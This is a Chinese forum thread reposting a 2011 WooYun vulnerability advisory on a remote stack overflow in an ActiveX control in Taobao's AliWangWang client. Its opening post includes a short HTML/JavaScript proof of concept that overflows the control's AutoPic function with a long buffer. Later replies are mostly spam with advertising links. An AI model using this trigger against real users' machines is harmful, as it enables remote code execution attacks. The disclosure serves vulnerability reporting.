设为首页收藏本站小小夜店

休闲应用.游戏切换到宽版

天涯家园 - 娱乐休闲技术家园 › 社区论坛 › IT技术讨论区 › 网络安全 › 淘宝阿里旺旺远程ActiveX溢出0DAY 临时解决方案 ...

发新帖

查看: 336|回复: 26

淘宝阿里旺旺远程ActiveX溢出0DAY 临时解决方案 [复制链接]

Rank: 9

帖子: 219
主题: 187
积分: 1170
在线时间: 268 小时
注册时间: 2010-6-6
最后登录: 2012-5-11

发表于 2011-3-27 09:35:18 |显示全部楼层

漏洞概要缺陷编号：       WooYun-2011-01334
漏洞标题：       淘宝阿里旺旺远程ActiveX溢出0DAY
相关厂商：       阿里巴巴
漏洞作者：       爱无言
提交时间：       2011-02-17
公开时间：       2011-03-19
漏洞类型：       远程代码执行
危害等级：       高
自评Rank：       20
漏洞状态：       厂商已经确认

漏洞详情简要描述：

淘宝阿里旺旺的一个dll中的图像文件名函数存在一个栈溢出漏洞，可以远程执行任意代码。
详细说明：

imageMan.dll的图像文件名函数存在一个栈溢出漏洞，可以执行任意代码。
漏洞证明：

<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
var buffer = '';
while (buffer.length < 1111) buffer+="A";
target.AutoPic(buffer,"defaultV");
</script>
</body>
</html>

复制代码

修复方案：

游客，如果您要查看本帖隐藏内容请回复

使用道具举报

在本网站上发表言论，不代表本网立场，应当理性、文明，遵守相关法律法规。

Rank: 2 Rank: 2

帖子: 57
主题: 1
积分: 224
在线时间: 28 小时
注册时间: 2011-8-3
最后登录: 2012-4-19

发表于 2011-9-3 21:01:02 |显示全部楼层

朋友就算再好◢总会有一段时间互不理睬互不关心▲不是因为厌烦了█那是因为认识了新朋友▼那是喜新厌旧了吗？也不是。真正的朋友是当一段冷漠的时间过去后■还是依然可以在你的身边关心你和你一起打闹一起吵架●许久不见后再相聚也不会尴尬♂像往日一起吃饭还是有说不完的话题▂讲不完的心事。

影视界为您推荐[喜剧片]--动物园看守

使用道具举报

Rank: 1

帖子: 17
主题: 0
积分: 61
在线时间: 11 小时
注册时间: 2011-9-4
最后登录: 2011-10-13

发表于 2011-9-20 02:09:11 |显示全部楼层

今天没事来逛逛

输卵管造影疼吗天天健康

使用道具举报

Rank: 1

帖子: 34
主题: 0
积分: 86
在线时间: 14 小时
注册时间: 2011-9-8
最后登录: 2011-9-26

发表于 2011-9-24 13:44:52 |显示全部楼层

真的吗？太好了，非常喜欢

步步惊心全集.

使用道具举报

Rank: 1

帖子: 1
主题: 0
积分: 3
在线时间: 1 小时
注册时间: 2011-9-26
最后登录: 2011-9-27

发表于 2011-9-26 11:58:44 |显示全部楼层

这男的应该趁机吃点豆腐占点便宜，虽然是4个老女人www.hulu123.com

使用道具举报

Rank: 1

帖子: 72
主题: 0
积分: 198
在线时间: 41 小时
注册时间: 2011-9-26
最后登录: 2011-10-27

发表于 2011-10-5 13:42:31 |显示全部楼层

好,应该顶，今后继续努力

互联星空-web.e467.com-所有空间支持免费试用、月付、年付、伪静态，直接在网站后台开启，不需配置httpd.ini等文件，子目录/子域名绑定功能，一个空间可建多个**子站，免备案主机，5元/月，双线云主机15.8元/月，空间大小不等、价格高低有别，并赠送相应的数据库。

使用道具举报

Rank: 1

帖子: 7
主题: 0
积分: 17
在线时间: 0 小时
注册时间: 2011-12-25
最后登录: 2011-12-30

发表于 2011-12-28 12:09:01 |显示全部楼层

谢谢楼主。。。。。。

网络赚钱**论坛（www.tecou.com）

使用道具举报

Rank: 1

帖子: 73
主题: 4
积分: 156
在线时间: 9 小时
注册时间: 2011-12-10
最后登录: 2012-5-20

发表于 2011-12-30 05:45:05 |显示全部楼层

楼主幸苦了。。哇靠不错

网页游戏：http://www.xu777.com/ 网页游戏社区：http://www.web922.com/

使用道具举报

Rank: 1

帖子: 37
主题: 0
积分: 82
在线时间: 0 小时
注册时间: 2011-12-17
最后登录: 2012-1-18

发表于 2012-1-16 12:39:35 |显示全部楼层

好帖，确实好帖！

防盗门|防盗门十大品牌|木门|木门十大品牌|http://www.cnmenbo.com

使用道具举报

Rank: 3

帖子: 200
主题: 1
积分: 488
在线时间: 32 小时
注册时间: 2011-9-18
最后登录: 2012-5-20

发表于 2012-1-16 16:14:12 |显示全部楼层

共同发展！学习才会进步，谢了

死神来了5高清快播，喜爱夜蒲快播

使用道具举报

Rank: 2 Rank: 2

帖子: 117
主题: 1
积分: 235
在线时间: 0 小时
注册时间: 2011-12-18
最后登录: 2012-3-12

发表于 2012-1-18 09:25:08 |显示全部楼层

真的谢谢了！

www.ohaojiu.com
www.swhzp.com www.cypcsoft.com 广州戴尔广州DELLwww.gd-kt.com www.gzhspf.com 广州婚纱批发广州礼服批发广州婚纱订造广州礼服订造

使用道具举报

Rank: 1

帖子: 32
主题: 0
积分: 73
在线时间: 0 小时
注册时间: 2012-1-1
最后登录: 2012-2-3

发表于 2012-1-25 04:28:04 |显示全部楼层

谢谢啦，辛苦啦。感谢感谢!

淘宝汽车坐垫:http://www.0575-seo.com/

使用道具举报

大鸿香风brt

Rank: 1

帖子: 14
主题: 0
积分: 31
在线时间: 0 小时
注册时间: 2012-1-29
最后登录: 2012-2-15

发表于 2012-2-1 17:07:16 |显示全部楼层

《一骑当先》双线二区12月28日14点，火爆开启
《一骑当先》双线二区12月28日14:00火爆开启，七大活动助您成就宏图伟业。期待您的加入！
一骑当先倌网：http://www.173ux.com/userapp.php?mod=manage&my_suffix=%2Fuserapp%2Fabout%3FappId%3D1065853
(一)上线送黄金
活动时间
此活动永久有效
活动内容
自开服日起，所有创建角色进入游戏的玩家将直接赠送200黄金！烽火连天乱世天下,这里儿女情长群雄结义，你还等什么？
活动奖励
进入游戏立即获取200黄金。

(二)尊贵礼包
活动时间
此活动永久有效
活动奖励
尊贵礼包：银两×10000，菊花茶×2，突飞令×5，青麟袍×1，轻甲×1
温馨提示：
1、领取成功后请至包裹里查看使用。
2、每个帐号在同一服务器内只能使用一次尊贵礼包。
3、数量有限，希望玩家及时领取。

(三)精良将才
活动时间
此活动永久有效
活动内容
玩家可以通过各地酒馆招募武将或者在武将界面内“洗属性”提高武将成长，当武将成长达到一定阶段时武将品质将会进阶，每达到一个要求即可获得对应的奖励。
活动奖励
当玩家拥有2名紫色品质的武将时，可获得奖励：银两×10000
当玩家拥有3名紫色品质的武将时，可获得奖励：银两×20000
当玩家拥有2名橙色品质的武将时，可获得奖励：银两×30000
当玩家拥有3名橙色品质的武将时，可获得奖励：银两×40000
当玩家拥有4名橙色品质的武将时，可获得奖励：银两×50000
当玩家拥有1名红色品质的武将时，可获得奖励：银两×100000
当玩家拥有2名红色品质的武将时，可获得奖励：银两×160000
当玩家拥有3名红色品质的武将时，可获得奖励：银两×240000
当玩家拥有4名红色品质的武将时，可获得奖励：银两×320000
当玩家拥有5名红色品质的武将时，可获得奖励：银两×500000
温馨提示：
1、每档奖励每位玩家仅可领取一次，达到要求即可领取对应的奖励，不需要按照顺序领取。
2、活动只计算在武将面板的武将，如果武将被下野或放进名将录则不会计入活动的拥有量中。

(四)**厚禄步步升
活动时间：
此活动永久有效
活动内容：
在本服开服之际，所有玩家倌阶每达到一定阶段即可获得丰硕奖励，**厚禄~只要你努力，没什么不可以！
奖励发放：
主角倌阶达到10级时，可获取奖励：突飞令×5，快申剑×1，太阳扇×1
主角倌阶达到20级时，可获取奖励：菊花茶×1，突飞令×10，
主角倌阶达到30级时，可获取奖励：菊花茶×2，突飞令×20，
主角倌阶达到35级时，可获取奖励：菊花茶×2，银两×50000，
主角倌阶达到40级时，可获取奖励：菊花茶×3，银两×80000，
主角倌阶达到50级时，可获取奖励：菊花茶×3，银两×120000，
激活游戏后30天内，当倌阶≥60级时，可获取奖励：菊花茶×5，银两×200000，
温馨提示：
1、请确保在规定时间内达到指定的倌阶要求，超过时限则不能领取奖励。
2、每位玩家每档奖励只可领取一次。

(五)每日登陆送好礼
活动时间：
此活动永久有效
活动内容：
连续每天登陆都可获得礼包，超过五天后仍旧连续登陆则每天可获得第五天登陆礼包，如中途未登录，则礼包从头开始领取。
奖励发放：
连续一天登陆：青铜宝箱（使用后获得银两*30000，菊花茶*1）
连续二天登陆：玄铁宝箱（使用后获得银两*40000，突飞小礼包*1，宁神丹*1）
连续三天登陆：白银宝箱（使用后获得银两*50000，突飞小礼包*1，体力药包*1）
连续四天登陆：黄金宝箱（使用后获得银两*70000，突飞小礼包*1，菊花茶*1，体力药包*1）
连续五天登陆：紫金宝箱（使用后获得银两*100000，突飞大礼包*1，菊花茶*1，体力药包*1）
温馨提示：
1、注册游戏第一天不计算连续登陆，第二天登陆才算连续登陆一天。

(六)首充任意金，万两白银直接送
活动时间：
此活动永久有效
活动内容：
新的篇章，新的起步，各路英雄豪杰初入宝地，《一骑当先》钱庄开门大吉，特举办活动，本服角色凡是第一次充值都能获得首次充值奖励奖励发放：
第一次充值任意金额，则可获得奖励：20W银币，10突飞令，5W血包，2件1级紫武器，1个技能重置符（可重置一次技能）
温馨提示：
1、每位玩家只可领取一次奖励。
注：充值活动的奖励在游戏上方“充值礼包”按钮里领取。

(七)每天征收，VIP节节升
活动时间
激活游戏第二天起，该活动永久有效
活动内容
vip10？！羡慕吗？放心！即日起不花钱也能升级VIP，只要你每天登入一下即可当日增加VIP成长点数10点，每天登一登VIP节节升哦~
温馨提示
1、第一天进入游戏的玩家不会增加VIP值，从第二天起才会增加。

最新网页游戏www.173ux.com

使用道具举报

Rank: 1

帖子: 70
主题: 7
积分: 129
在线时间: 0 小时
注册时间: 2012-1-12
最后登录: 2012-2-21

发表于 2012-2-2 19:50:35 |显示全部楼层

就看看，不说话。

神洲最好的返利网！【高客返利网】

使用道具举报

Rank: 1

帖子: 1
主题: 0
积分: 3
在线时间: 0 小时
注册时间: 2012-2-2
最后登录: 2012-2-3

发表于 2012-2-3 00:46:09 |显示全部楼层

水平很高啊，值得学习

新加坡留学www.spring-edu.cn

使用道具举报

Rank: 1

帖子: 13
主题: 0
积分: 51
在线时间: 1 小时
注册时间: 2012-2-9
最后登录: 2012-4-14

发表于 2012-2-17 17:17:20 |显示全部楼层

真是好东西呀

金刚石锯片 http://www.qbwtools.com 石材锯片广州化妆品加工

使用道具举报

Rank: 3

帖子: 311
主题: 0
积分: 489
在线时间: 0 小时
注册时间: 2012-2-13
最后登录: 2012-3-11

发表于 2012-2-18 22:15:50 |显示全部楼层

哈哈，楼主不错

www.lvaaa.net,K站,www.bc885.com,K站,www.zyzxtang.comK站

使用道具举报

寂寞的蚊子

Rank: 3

帖子: 160
主题: 0
积分: 636
在线时间: 208 小时
注册时间: 2012-2-6
最后登录: 2012-5-20

发表于 2012-2-23 23:46:21 |显示全部楼层

好贴，绝对要支持下！！~~

沈阳婚纱摄影

使用道具举报

发新帖

Archiver 纯文字版|天涯家园

GMT+8, 2012-5-21 10:53

Powered by Discuz! X2

© 2001-2011 Comsenz Inc.

回顶部